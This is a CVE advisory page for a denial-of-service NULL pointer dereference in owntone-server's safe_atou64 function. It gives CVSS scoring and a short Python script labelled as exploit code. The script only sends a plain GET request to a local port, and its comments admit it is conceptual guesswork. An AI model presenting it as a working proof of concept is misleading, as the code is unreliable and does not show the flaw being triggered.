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CVE-2026-26829 CVSS 7.5 HIGH

CVE-2026-26829

Published: 2026-03-23 17:16:48
Last Modified: 2026-04-27 19:18:47

Description

A NULL pointer dereference in the safe_atou64 function (src/misc.c) of owntone-server through commit c4d57aa allows attackers to cause a Denial of Service (DoS) via sending a series of crafted HTTP requests to the server.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

owntone-server <= commit c4d57aa

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def trigger_poc(url): """ PoC for CVE-2026-26829: NULL pointer dereference in safe_atou64 Sending crafted HTTP requests to trigger DoS. """ try: # Attempt to send a request that might trigger parsing issues in safe_atou64 # This is a conceptual PoC based on the description. payload = {} headers = {'User-Agent': 'CVE-2026-26829-Test'} # Example endpoint that might process numeric input via safe_atou64 # Adjust the endpoint based on actual API implementation response = requests.get(url, params=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("If the server crashes, the vulnerability is confirmed.") except Exception as e: print(f"Request failed or server went down: {e}") if __name__ == "__main__": target_url = "http://localhost:3689" # Default port for owntone trigger_poc(target_url)

References

Raw JSON Data

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